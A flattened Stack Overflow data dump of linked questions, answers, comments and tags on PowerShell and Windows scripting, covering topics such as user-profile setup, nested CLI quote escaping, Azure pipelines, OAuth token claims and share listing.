has body: I'm looking to create a local Windows 10 user via PowerShell, and then finalize the 'account setup' programmatically. If I currently create a new user User1 via New-LocalUser, and I manually sign in as User1 then I first get a 'Welcome, we're getting everything ready for you' screen and then I need to answer questions about using online speech recognition, location data, inking &amp; typing, diagnostic data and advertising ID. I would like to programmatically provide the answers to those questions and finalize the account setup, so that when User1 actually signs in, the questions no longer appear. I've already found how to partially initialize the user profile by running 'Start-Process' with -LoadUserProfile: this creates e.g. the user folder in C:\Users, but it doesn't remove the questions.

http://stackoverflow.com/a/79141731
has comment: http://stackoverflow.com/comment/139552022
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139552893
answers question: http://stackoverflow.com/q/79141674
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/79141674
upvote count: 3
has comment: http://stackoverflow.com/comment/139551928
has comment: http://stackoverflow.com/comment/139551906
has body: A Windows path segment of .. means "parent directory". As such, anything\.. is equivalent to .. There's no reason to check if anything exists. C:\>dir /b nonexistent\..\Windows\explorer.exe explorer.exe Taking it back to scenario in the question, dirname(__FILE__) . "../../../../" ⇒ a/b/c/d/e/f../../../../ ⇒ a/b/c/d/e/../../ ⇒ a/b/c/d/../ ⇒ a/b/c/ dirname(__FILE__) . "/../../../" ⇒ a/b/c/d/e/f/../../../ ⇒ a/b/c/d/e/../../ ⇒ a/b/c/d/../ ⇒ a/b/c/ As an aside, this wouldn't work in unix because it doesn't treat .. specially. It's looked up on disk, where it would normally be a hardlink to the parent directory. /$ ls -d nonexistent/../usr ls: cannot access 'nonexistent/../usr': No such file or directory /$ ls -d home/../usr home/../usr /$ realpath home/../usr /usr
score: 3

http://stackoverflow.com/comment/139590023
comment on: http://stackoverflow.com/a/79162274
score: 1
type: AnswerComment
has text: If you have unused columns: use those to store the Original Contract Number and pur a unique ID in the "Num Contrat" column. Yeah, it's a ugly hack and will require _A LOT_ of Comments to explain what's happening pretty much anywhere the SQL is called, but it's doable if there is no other chance
type: Comment

claims
tag name: claims
type: Tag
tags question: http://stackoverflow.com/q/79122039

http://stackoverflow.com/a/79225338
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79208164
answers question: http://stackoverflow.com/q/79208164
downvote count: 0
has body: The trick is that I have to set the title in the application, not from the command line or the script. I had to add the line process.title = 'application 1'; to the application code.
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/comment/139634985
comment on: http://stackoverflow.com/q/79183024
type: QuestionComment
type: Comment
score: 3
has text: Is `whoami /logonid` what you're looking for?

http://stackoverflow.com/comment/139643347
comment on: http://stackoverflow.com/a/79178363
type: Comment
has text: https://quickcoder.org/azure-create-pipeline/
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139703997
type: Comment
has text: While it may not be a good idea to have scripts rely on a specific working directory, a given script may, so your command isn't equivalent. With the chosen `"..."` quoting, given that the inner CLI call is nested inside a `Start-Process` call - which effects _elevation_ of the inner CLI call via `-Verb RunAs` - the escaping in the original command line _is_ necessary and correct. While `'...'` quoting in nested calls can simplify things, it isn't generally robust in `cd` and `&` calls (at least not without additional, nontrivial effort), given that `'` is a legal file-name character.
comment on: http://stackoverflow.com/a/79225232
score: 0
type: AnswerComment

windows-subsystem-for-linux
type: Tag
tags question: http://stackoverflow.com/q/79140018
tags question: http://stackoverflow.com/q/79106388
tag name: windows-subsystem-for-linux
tags question: http://stackoverflow.com/q/79099651
tags question: http://stackoverflow.com/q/79272293
tags question: http://stackoverflow.com/q/79247237
tags question: http://stackoverflow.com/q/79345362
tags question: http://stackoverflow.com/q/79472122
tags question: http://stackoverflow.com/q/79527687

checkout
type: Tag
tags question: http://stackoverflow.com/q/79110614
tag name: checkout

http://stackoverflow.com/comment/139527319
score: 0
comment on: http://stackoverflow.com/a/79102833
type: AnswerComment
has text: That must be a different problem? If Headers is not saved correctly, I believe you will hit 401 or 403. If it is 404, maybe the path you specified doesn't exist?
type: Comment

http://stackoverflow.com/comment/139457754
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79089905
has text: Thanks a lot @SantiagoSquarzon. This is working for me.
type: Comment

http://stackoverflow.com/comment/139555270
has text: I'm really confused how stack overflow system works, so spare with me. I received a solution answer from @Mathias R. Jessen but i can't find it here in order to reply to it that his solution works. In fact there were other comments i don't see now. Anyway thanks for everyone and specially Mathias R. Jessen. The solution was to Replace text=True with encoding='cp862'
comment on: http://stackoverflow.com/q/79138620
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139738078
score: 2
type: Comment
has text: you're creating a jagged array when they're in a single line. Just use `;` instead of `,` if you're using `@(...)`. Then everything will work fine.
type: QuestionComment
comment on: http://stackoverflow.com/q/79244582

http://stackoverflow.com/comment/139612077
type: Comment
comment on: http://stackoverflow.com/a/79174103
score: 0
has text: For example, note that `64`, `2`, `1`, `0.5`, `0.0625` all are represented perfectly accurately.
type: AnswerComment

http://stackoverflow.com/comment/139541172
type: Comment
score: 0
type: AnswerComment
has text: It means you don't have access to view the web page. Have you logged into CLI before executing the terraform code with `az login` command. @TheDemonLord
comment on: http://stackoverflow.com/a/79133066

http://stackoverflow.com/comment/139435003
has text: @mclayton, yes, i could use random function for this
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79077603
type: Comment

http://stackoverflow.com/comment/139589983
score: 0
comment on: http://stackoverflow.com/a/79162274
type: AnswerComment
has text: But at this point you don't really have a contract number, if there is no reliable correltion between the number in the CSV and the number in the DB. I suppose you cannot add another column on the DB to record the original contract number so you can make a 15digits unique ID?
type: Comment

http://stackoverflow.com/q/79234361
tagged with: azure-pipelines
tagged with: powershell
has comment: http://stackoverflow.com/comment/139723991
score: 0
type: UnansweredQuestion
has title: Azure Pipelines - Can't find directory on Agent
has body: I've got an Azure Pipeline that uses a Powershell task to install a module then runs another Powershell script which uses the module. I've tried using command line to list the files on the Azure Agent as I have a variable in MyScript.ps1 which needs the install path but I can't find it on the Agent. Can someone help me find the install directory on the Agent? The install path is below on my local machine $DataCompareExecutablePath = "C:\Program Files (x86)\Red Gate\SQL Data Compare 12\SQLDataCompare.exe" When I use tree on the agent I can't see any install path - task: CmdLine@2 inputs: script: tree \ The following is my Pipeline trigger: - main pool: vmImage: ubuntu-latest steps: - checkout: self clean: true - task: PowerShell@2 inputs: targetType: 'inline' script: | Install-Module -Name SqlChangeAutomation -AllowClobber -Force -AcceptLicense - task: CmdLine@2 inputs: script: tree \ - pwsh: ./myscript.ps1 displayName: 'Run my script' Thanks, Dan
type: Question
has comment: http://stackoverflow.com/comment/139743800
answer count: 0

http://stackoverflow.com/q/79164455
has comment: http://stackoverflow.com/comment/139594161
has body: I am hoping for some guidance in the following area. I am extracting data from AD using powershell using the following command: Get-ADUser -Filter {Enabled -eq $True} -Properties cn, streetaddress, telephoneNumber ` | Select-Object @{N='AcctName';E='cn'}, @{N='Address';E='streetaddress'}, @{N='Phone';E='telephoneNumber'} | Export-csv c:\temp\test.csv -NoType In the address field sometimes, it contains one or more carriage return / line feed (crlf) characters. This causes problems in trying to import the csv file into a SQL server database table. I'm wondering if there is a cmdlet or something to either replace or remove crlf characters prior to writing out to the csv file using PowerShell. As a side note when powershell creates the file I'm not sure what encoding it encodes the file with... maybe that is an issue?
linked to: http://stackoverflow.com/q/66553344
type: UnansweredQuestion
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/79164699
answer count: 2
has comment: http://stackoverflow.com/comment/139593794
favorite count: 0
has comment: http://stackoverflow.com/comment/139593870
has answer: http://stackoverflow.com/a/79164682
type: Question
downvote count: 0
linked to: http://stackoverflow.com/q/40098771
has title: Is there a cmdlet to remove crlf from an extracted field in AD using powershell
tagged with: powershell

http://stackoverflow.com/comment/139616323
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79176549
has text: then how to pass parameters in my case @wenbo
score: 0

http://stackoverflow.com/a/79225274
answers question: http://stackoverflow.com/q/79224838
has body: What is the purpose of the first backslash used? In PowerShell CLI calls from outside PowerShell, " chars. embedded inside a "..." command passed to powershell -Command must be escaped, typically as \", i.e. with a backslash - even though inside a PowerShell session it is `, i.e. the so-called backtick that serves as the escape character. For the second -Command instance, what does the cd command end up resolving as? Your second -Command instance (CLI call) is doubly nested inside the outer CLI call: Immediately nested is a Start-Process call that uses a "..."-enclosed string as its (positionally implied) -ArgumentList argument, which must therefore be represented as \"...\" Inside that Start-Process call's \"...\" argument, which is the list of arguments for the inner CLI call, more escaping is needed: The inner CLI call's -Command argument inside \"...\" then requires escaping as `\"...`\" - note the ` before \", which ensures that Start-Process sees `"...`", i.e. an escaped "..." string embedded in its -ArgumentList argument. It is ` that is needed, because the Start-Process call is evaluated inside the PowerShell session created by the outer CLI call. Embedding double-quoted strings inside `\"...`\" then requires yet another layer of escaping: the arguments for cd and & must then be enclosed in \`\"...\`\", so that the inner CLI call ends up seeing \"...\" on its process command line. Tips for robustness: While it may seem that a \ is missing after %scriptFolderPath% in your command line, Mofi points out that this may be by design, due to relying on the value of %scriptFolderPath% ending in \, as is the case when you use set "scriptFolderPath=%~dp0", for instance. In cases where you cannot know in advance whether or not the value ends in \, you can use the following workaround: insert a space after %scriptFolderPath%, followed by \ so as to form a proper escape sequence (\`\"), and append .Trim(), so as to make PowerShell remove the artificially inserted space (…
downvote count: 0
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/139627993
has text: You are probably correct. Are all machines in the same Domain? Are all machines using the same type credentials? Many systems are moving from Window credentials to OAUTH2 because OAUTH2 works with Windows, Linux, and MAC. I worked for a very large company with multiple divisions, multiple locations and multiple domains. There were a lot of protection. Admins in one division did not have access to data in another division. There were on a few Admin and corporate level that had access to all locations.
type: QuestionComment
comment on: http://stackoverflow.com/q/79179274
type: Comment
score: 0

http://stackoverflow.com/comment/139634539
type: QuestionComment
type: Comment
has text: This question has the same solution as the "duplicate" but IMHO it's a different question due to a different error message, and is worth keeping for the search indexability of it.
comment on: http://stackoverflow.com/q/79168108
score: 0

event-viewer
tag name: event-viewer
tags question: http://stackoverflow.com/q/79197594
tags question: http://stackoverflow.com/q/79234274
type: Tag
tags question: http://stackoverflow.com/q/79285255
tags question: http://stackoverflow.com/q/79290848
tags question: http://stackoverflow.com/q/79534301

http://stackoverflow.com/comment/139609853
comment on: http://stackoverflow.com/q/79173045
type: QuestionComment
type: Comment
score: 1
has text: If ordering is important, [sort](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/sort-object?view=powershell-7.4) first.

http://stackoverflow.com/comment/139682265
comment on: http://stackoverflow.com/q/79213119
has text: This question is similar to: [How to use Service Principal Authentication (Bearer Token) in Powershell for DevOps without being asked to sign in?](https://stackoverflow.com/questions/68351334/how-to-use-service-principal-authentication-bearer-token-in-powershell-for-dev). If you believe it’s different, please [edit] the question, make it clear how it’s different and/or how the answers on that question are not helpful for your problem.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139440379
has text: Try running a man-in-the-middle proxy like fiddler and use it to compare the http requests sent by both versions to see what the differences are. That might give you some pointers…
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79079906
score: 1

http://stackoverflow.com/comment/139594363
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79132466
type: AnswerComment
has text: Please open your browser and access your organization. Then copy and paste `https://vsaex.dev.azure.com/{Org Name}/_apis/userentitlements?top=2000&api-version=7.0` directly to your browser and check what's the result. Besides, may I know how many users in your organization?

http://stackoverflow.com/comment/139707083
type: QuestionComment
comment on: http://stackoverflow.com/q/79226757
type: Comment
has text: [https://james.darpinian.com/decoder/?q=0x800706BE](https://james.darpinian.com/decoder/?q=0x800706BE) says "The remote procedure call failed."
score: 0

conda
tag name: conda
type: Tag
tags question: http://stackoverflow.com/q/79140018
tags question: http://stackoverflow.com/q/79410268
tags question: http://stackoverflow.com/q/79388784
tags question: http://stackoverflow.com/q/79461582

http://stackoverflow.com/comment/139673072
comment on: http://stackoverflow.com/a/79207013
type: AnswerComment
has text: Thank you. But even when I have those files on VM, still I need permission to access to the KV. I added User Managed Identity to VM, this Identity is also assigned to the KV. But I'm receiving an error that I'm not authorized to connect to Azure Subscription. My I doing something wrong?
type: Comment
score: 0

http://stackoverflow.com/comment/139618402
comment on: http://stackoverflow.com/q/79177923
type: QuestionComment
score: 2
type: Comment
has text: Please be more specific than "is not working" - what observations did you make to determine it wasn't working, what debugging steps did you go through to obtain more information, and what did you find (error messages, warnings, etc)?

search
tag name: search
tags question: http://stackoverflow.com/q/79138278
type: Tag
tags question: http://stackoverflow.com/q/79429231

http://stackoverflow.com/comment/139613321
score: 0
comment on: http://stackoverflow.com/q/79174610
has text: @bogdannnn: Debugging is quit easy, you can step through your code, and check/verify values of different variables, to see if they match your expected value. (see screenshot: https://i.sstatic.net/fXAUgf6t.png )
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139775326
score: 0
comment on: http://stackoverflow.com/a/79211175
type: AnswerComment
has text: I think a status field might be better - I often filter the results in excel & would prefer to have it as a separate property
type: Comment

httpresponse
tags question: http://stackoverflow.com/q/79162018
type: Tag
tag name: httpresponse

http://stackoverflow.com/q/79188413
has answer: http://stackoverflow.com/a/79196627
accepted answer: http://stackoverflow.com/a/79196627
type: Question
has comment: http://stackoverflow.com/comment/139637778
has title: Formatting output of PowerShell
tagged with: fileshare
answer count: 3
downvote count: 1
tagged with: powershell
has body: I have a variable $Shares which stores the output of the command net view \\COMPUTERNAME /all 2&gt;&amp;1. The output looks like as below Shared resources at \\COMPUTERNAME Share name Type Used as Comment ------------------------------------------------------------------------------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC The command completed successfully. I need to format the output with only the first line (Shared resources at \COMPUTERNAME) and the Share Name column (ADMIN$, C$, IPC$) How can I do that?
has answer: http://stackoverflow.com/a/79190596
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79188495
score: 0
possible better answer: http://stackoverflow.com/a/79188495
upvote count: 1
tagged with: formatting
favorite count: 0
tagged with: smb

http://stackoverflow.com/a/79102320
has comment: http://stackoverflow.com/comment/139480156
has body: I managed to work out an answer using XMLA's Alter statement $query = @" $databaseId <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:sql="urn:schemas-microsoft-com:xml-sql"> <xs:element> <xs:complexType> <xs:sequence> <xs:element type="row" /> </xs:sequence> </xs:complexType> </xs:element> <xs:complexType name="row"> <xs:sequence> <xs:element name="ID" type="xs:unsignedLong" sql:field="ID" minOccurs="0" /> <xs:element name="ID.Table" type="xs:string" sql:field="ID.Table" minOccurs="0" /> <xs:element name="ID.Measure" type="xs:string" sql:field="ID.Measure" minOccurs="0" /> <xs:element name="Name" type="xs:string" sql:field="Name" minOccurs="0" /> <xs:element name="Description" type="xs:string" sql:field="Description" minOccurs="0" /> <xs:element name="Expression" type="xs:string" sql:field="Expression" minOccurs="0" /> <xs:element name="FormatString" type="xs:string" sql:field="FormatString" minOccurs="0" /> <xs:element name="IsHidden" type="xs:boolean" sql:field="IsHidden" minOccurs="0" /> <xs:element name="IsSimpleMeasure" type="xs:boolean" sql:field="IsSimpleMeasure" minOccurs="0" /> <xs:element name="DisplayFolder" type="xs:string" sql:field="DisplayFolder" minOccurs="0" /> <xs:element name="DataCategory" type="xs:string" sql:field="DataCategory" minOccurs="0" /> <xs:element name="LineageTag" type="xs:string" sql:field="LineageTag" minOccurs="0" /> <xs:element name="SourceLineageTag" type="xs:string" sql:field="SourceLineageTag" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:schema> $measureId]> $measureExpression]> "@ Invoke-ASCmd -ConnectionString $connectionString -Query $query I actually got this from using the following .NET code to capture the XMLA requests var server = new Microsoft.AnalysisServices.Tabular.Server(); server.Connect("<connection string>"); server.CaptureXml = true; server.Databases["Dataset1"].Model.Tables["Table1"].Measures["Measure1"].Expression = "1 // new expression"; server.Databases["Dataset1"].Model.SaveChanges(…
downvote count: 0
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79093149

http://stackoverflow.com/comment/139503649
type: AnswerComment
has text: when i run the bat the exit every item have that text "Successfully processed 1 files; failed to process 0 files", can i remove then?
comment on: http://stackoverflow.com/a/79110474
type: Comment
score: 0

http://stackoverflow.com/comment/139438169
has text: Consider using [winget](https://winget.run/pkg/Adobe/Acrobat.Reader.64-bit) it also has a PowerShell module named `Microsoft.WinGet.Client`.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79076263
score: 0

http://stackoverflow.com/comment/139723611
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79235723
has text: This is not a scripting issue but a constant battle between Microsoft and automation engineers that littely try to take a shortcut to pin items to `home` or the `taskbar` where Microsoft wants to force "*the user to approve the request.*" . See: [Pin your app to the taskbar](https://learn.microsoft.com/windows/apps/design/shell/pin-to-taskbar). As you pointed out yourself: [Pin program to taskbar using PS in Windows 10](https://stackoverflow.com/q/31720595/1701026) shows some alternatives but if you get this to work, it might be broken again with the next update.

http://stackoverflow.com/comment/139639539
has text: What kind of output do you expect when certain properties may have multiple results like for instance `$computerHDD` (there may be computers with more than one harddisk..) ?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79186087

http://stackoverflow.com/comment/139717877
type: QuestionComment
type: Comment
has text: @Compo:: It is incorrect to say that it _should_ be quoted, for the reasons stated. Making that claim is a confusing distraction, so I felt compelled - and still do - to point that out. Nothing else was implied.
score: 0
comment on: http://stackoverflow.com/q/79227225

http://stackoverflow.com/comment/139434908
type: QuestionComment
type: Comment
has text: `deno` is an executable, not a PowerShell command, so you just attach whatever [debugger you would have attached to any other rust binary](https://code.visualstudio.com/docs/languages/rust#_debugging) :)
score: 0
comment on: http://stackoverflow.com/q/79077628

http://stackoverflow.com/a/79184843
accepted answer of: http://stackoverflow.com/q/79179274
has comment: http://stackoverflow.com/comment/139632715
downvote count: 0
type: AcceptedAnswer
has body: You're right, you do have to treat it specially because it's "deleted". You were very close. You can return the nTSecurityDescriptor property of the AD Object which will get you what you want. $delObjContainer = Get-ADObject -Filter 'objectClass -eq "container"' -SearchBase (Get-ADDomain).DeletedObjectsContainer -Properties nTSecurityDescriptor -IncludeDeletedObjects -SearchScope base $delObjContainer.nTSecurityDescriptor.Access # ActiveDirectoryRights : CreateChild, DeleteChild, ListChildren, ReadProperty, Delete, GenericWrite, WriteDacl, WriteOwner # InheritanceType : None # ObjectType : 00000000-0000-0000-0000-000000000000 # InheritedObjectType : 00000000-0000-0000-0000-000000000000 # ObjectFlags : None # AccessControlType : Allow # IdentityReference : NT AUTHORITY\SYSTEM # IsInherited : False # InheritanceFlags : None # PropagationFlags : None
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/79179274
type: Answer

anaconda
type: Tag
tags question: http://stackoverflow.com/q/79167734
tags question: http://stackoverflow.com/q/79234951
tag name: anaconda
tags question: http://stackoverflow.com/q/79388784

http://stackoverflow.com/comment/139731654
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79235723
score: 1
has text: @iRon seems to need a better way to do it, thanks for your response.

http://stackoverflow.com/a/79100797
has body: Was able to find a solution. I found it easier to find a solution using Powershell than python. $csvPath = "C:\Workspace\Code\FilenameChange.csv" $directory = "C:\Workspace\Code\Files" $filenames = Import-Csv -Path $csvPath foreach ($file in $filenames) { $oldFileName = $file.old_filename +".png" $newFileName = $file.new_filename+".png" # Create full paths for the old and new file names $oldFilePath = Join-Path -Path $directory -ChildPath $oldFileName $newFilePath = Join-Path -Path $directory -ChildPath $newFileName # Check if the old file exists if (Test-Path -Path $oldFilePath) { Rename-Item -Path $oldFilePath -NewName $newFileName Write-Host "Renamed: $oldFileName -> $newFileName" } else { Write-Host "File not found: $oldFileName" } } Read-Host -Prompt "Press Enter to exit" I am not sure if python was running into issues due to the filename being non standard characters? a Unicode issue or something? Either way, Powershell script worked well for me.
answers question: http://stackoverflow.com/q/79100678
type: Answer
score: 0

http://stackoverflow.com/comment/139730710
comment on: http://stackoverflow.com/a/79240036
type: Comment
score: 0
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/258883/discussion-between-alx9r-and-santiago-squarzon).
type: AnswerComment

http://stackoverflow.com/a/79228357
answers question: http://stackoverflow.com/q/79208164
type: Answer
downvote count: 0
has body: To provide some background and offer an alternative to your own solution: npm temporarily changes the terminal title while it runs to its invocation command line, e.g., npm run test; that is, it automatically reverts to the previous title when it exits. Short of configuring your terminal to disallow title changes altogether (see this answer for how do to that in Windows Terminal), this cannot be avoided, but you can override the title from within the code being invoked by npm run: If what is being invoked is (ultimately) Node.js JavaScript code that is under your control, you can set process.title to the title of interest, as shown in your own answer. Otherwise or if you'd rather not modify your application, your only option is to modify the "scripts" keys in your package.json file to prepend a shell-appropriate title-change command to the existing shell command lines - see below. Sample "start" property in the "scripts" property of a package.json file, building on the approach in this answer: In this example, the shell-specific title-changing code, which sets the title to Custom Title, is followed by printing a message telling the user that the title was set, and waiting for the user to press Enter. In the real world, the title-changing code would be followed by the original command line for the "scripts" entry at hand. After inserting the shell-appropriate "start" line from below into a given project's package.json, invoking npm run start from that project's directory should exhibit the behavior described. The custom terminal title should display until the user presses Enter. Using cmd.exe as the shell (which is npm's default on Windows): "scripts": { "start": "title Custom^ Title & echo Custom terminal title is now set, will revert on exit. & pause" // ... }, Using powershell.exe; this assumes you've configured it as npm's shell, via npm config set script-shell powershell; or, if you've installed PowerShell (Core) 7, via npm config set script-shell pwsh, which al…
score: 1
upvote count: 1

window
type: Tag
tag name: window
tags question: http://stackoverflow.com/q/79220211
tags question: http://stackoverflow.com/q/79541965
tags question: http://stackoverflow.com/q/79439179

ps2exe-gui
type: Tag
tags question: http://stackoverflow.com/q/79128284
tag name: ps2exe-gui

devops
tags question: http://stackoverflow.com/q/79117140
tag name: devops
type: Tag

http://stackoverflow.com/q/79122039
tagged with: powershell
has comment: http://stackoverflow.com/comment/139515891
score: 0
tagged with: claims
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139516540
has comment: http://stackoverflow.com/comment/139518436
has comment: http://stackoverflow.com/comment/139518524
has title: How to add claims to token using PowerShell
has comment: http://stackoverflow.com/comment/139518415
has body: I have a transversal API that should be used by different business applications through an APIM that contains a validate token policy and therefore I need to generate a token for testing the APIM. I'm struggling to add claims to token, here is what I tried: $tenantId = "****" $clientId = "****" $secret = "****" $scope = "https://graph.microsoft.com/.default" $claims = @{ "access_token" = @{ "role" = "arole" } } | ConvertTo-Json -Compress $tokenEndpoint = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" $body = @{ grant_type = "client_credentials" Scope = $scope Client_Id = $clientId Client_Secret = $secret claims = $claims } $connection = Invoke-RestMethod -Method POST -Uri $tokenEndpoint -Body $body $token = $connection.access_token $token This code return the following error and it works well without the claims part: Edit to add error message as text instead of image: Invoke-RestMethod : {"error":"invalid_request","error_description":"AADSTS901001: Invalid request. The claims request parameter value 'System.Collections.Hashtable' is invalid. Trace ID: da35dc46-7e9f-4a0d-a318-2dd7dc456d00 Correlation ID: ca7aecf2-ee32-4d38-80c7-cda0e9e07394 Timestamp: 2024-10-24 19:00:01Z","error_codes":[901001],"timestamp":"2024-10-24 19:00:01Z","trace_id":"da35dc46-7e9f-4a0d-a318-2dd7dc456d00","correlation_id":"ca7aecf2-ee32-4d38-80c7-cda0e9e07394"} At line:20 char:15 + ... onnection = Invoke-RestMethod -Method POST -Uri $tokenEndpoint -Body ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebException + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand
tagged with: oauth-2.0
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139515966

http://stackoverflow.com/comment/139619118
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79176549
score: 0
has text: In short, as I was mentioning earlier, "You cannot pass parameters as there is no variable initiation happening at runtime." So the check in the template if you can hardcode or read it from somewhere before runtime.

http://stackoverflow.com/comment/139478917
type: QuestionComment
type: Comment
score: 0
has text: @LéaGris no idea, someone must have appended it. Somewhat fits, as the command part of bodyToPost is essentially a bash command.
comment on: http://stackoverflow.com/q/79099308

http://stackoverflow.com/comment/139612676
comment on: http://stackoverflow.com/q/79174610
type: QuestionComment
type: Comment
has text: Using [Powershell](https://marketplace.visualstudio.com/items?itemName=ms-vscode.PowerShell) extension in VS Code you can debug your Powershell script, and find out why the document cannot be found. Without the same input that you are using, it would be hard to test.
score: 0

http://stackoverflow.com/comment/139496150
comment on: http://stackoverflow.com/q/79109832
score: 0
has text: Use PowerShell Remoting using SSH. `help about_Remote`, `help about_Remote_Requirements`
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79234270
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79234150
has body: This is an issue prior to the introduction of PSNativeCommandArgumentPassing, before that the double-quotes are consumed when passed as arguments. For comparison, you can change your Python script to: import sys def main(): print(sys.argv) if __name__ == "__main__": main() Then when called from PowerShell 7.2 and below you would see: PS ..\pwsh> python script.py --json '{"key": "value", "number": 42}' ['script.py', '--json', '{key: value, number: 42}'] And in 7.3+ you will see that the " are preserved: PS ..\pwsh> python script.py --json '{"key": "value", "number": 42}' ['script.py', '--json', '{"key": "value", "number": 42}'] That's the cause of your issue. To solve this you will need to escape the " with \. A way to handle this dynamically could be via .Replace('"', '\"'): $json = '{"key": "value", "number": 42}' if ($PSVersionTable.PSVersion -lt '7.3' -or $PSNativeCommandArgumentPassing -eq 'Legacy') { $json = $json.Replace('"', '\"') } python script.py --json $json There are other alternatives too, for example encoding your Json to Base64 on PowerShell side and decoding it in Python, so in PowerShell: $json = '{"key": "value", "number": 42}' $b64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($json)) python script.py --json $b64 And in Python: # First, attempt to b64decode and parse it as a JSON string data = json.loads(b64decode(args.json)) Then you code should be compatible with all versions.
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79234150
type: Answer
downvote count: 0

http://stackoverflow.com/comment/139722994
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79232052
has text: I did designate scripts, however the above policies are not configured and they default to scripts not being allowed to run.

http://stackoverflow.com/a/79216426
has body: tldr: change $total++ to ++$total $total++: assign the current value of $total, and then increment it (in your case, the incremented value is not used) $total = 0 1..3 | foreach { [pscustomobject]@{ Number = $_ Total = $total++ # 0, 1, 2... } } $total # 3 ++$total: increment the value of $total, and then assign it $total = 0 1..3 | foreach { [pscustomobject]@{ Number = $_ Total = ++$total # 1, 2, 3... } } $total # 3 In both of the examples above, the value of $total is 3 at the end. But in the first we assign the value to Total before incrementing, and in the second we first increment and then assign to Total.
type: Answer
answers question: http://stackoverflow.com/q/79114767
score: 0

http://stackoverflow.com/comment/139682863
score: 0
has text: Does Powershell support a syntax to isolate variable names as do most *nix shells, i.e. `${POD_NAME}:8080` ? Good luck.
type: AnswerComment
comment on: http://stackoverflow.com/a/79204060
type: Comment

http://stackoverflow.com/comment/139541082
has text: Can you paste the whole error here! @TheDemonLord
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79133066
type: AnswerComment

http://stackoverflow.com/comment/139569388
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79151498
type: QuestionComment
has text: In short: Targeting an executable (including `.ps1` files and batch files) by a name or path that is _quoted_ or contains _variable references_ must - for syntactic reasons - be invoked with `&`, the [call operator](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_Operators#call-operator-); see the linked duplicate for details.

http://stackoverflow.com/comment/139510752
score: 0
comment on: http://stackoverflow.com/q/79118908
has text: What does your input file look like? Is it in fact a csv file with pipe symbols (`|`) as separator characters?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139589365
score: 0
has text: Ok go it, i delete the prompt part !
comment on: http://stackoverflow.com/q/79162118
type: QuestionComment
type: Comment

cygwin
tag name: cygwin
type: Tag
tags question: http://stackoverflow.com/q/79110499

http://stackoverflow.com/comment/139534413
score: 1
comment on: http://stackoverflow.com/q/79110614
type: QuestionComment
type: Comment
has text: I don't use lfs much. Have you checked whether the CI credentials (`repotoken`) have access to the lfs storage ?

http://stackoverflow.com/comment/139593699
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79132466
has text: Seems like the first write-host check : "Fetched user entitlements: $($devOpsResponse | ConvertTo-Json -Depth 3)" returns only some of the users with group rule assignment. So not just that no user with direct/unknown user is returned, moreover not all users with group rule assignment are returned
type: Comment

http://stackoverflow.com/comment/139552655
type: Comment
comment on: http://stackoverflow.com/a/79141485
score: 0
type: AnswerComment
has text: I think we figured it out, we don't need the flag column/parameter anyway, so dropping it seemed to manage the field not having a character in it.

http://stackoverflow.com/comment/139609144
type: Comment
score: 0
type: AnswerComment
has text: @zett42 I updated the solution, thank you
comment on: http://stackoverflow.com/a/79172252

printing
tag name: printing
type: Tag
tags question: http://stackoverflow.com/q/79193316
tags question: http://stackoverflow.com/q/79203758
tags question: http://stackoverflow.com/q/79383011
tags question: http://stackoverflow.com/q/79292221
tags question: http://stackoverflow.com/q/79489730

http://stackoverflow.com/comment/139539255
score: 0
comment on: http://stackoverflow.com/a/79131379
type: AnswerComment
has text: Interesting, @Joshua. How does passing a PID relate to duplicating stream handles? Or are you saying that the elevated process must then manually perform duplication of the handles via the parent process' PID? Can you provide a minimal example or point to one? Remember that the outer process is non-elevated and the inner one elevated, and at least at the level of .NET's built-in APIs there appears to be no solution; see [this answer](https://stackoverflow.com/a/50770757/45375)
type: Comment

powershell-module
tag name: powershell-module
tags question: http://stackoverflow.com/q/79146364
type: Tag
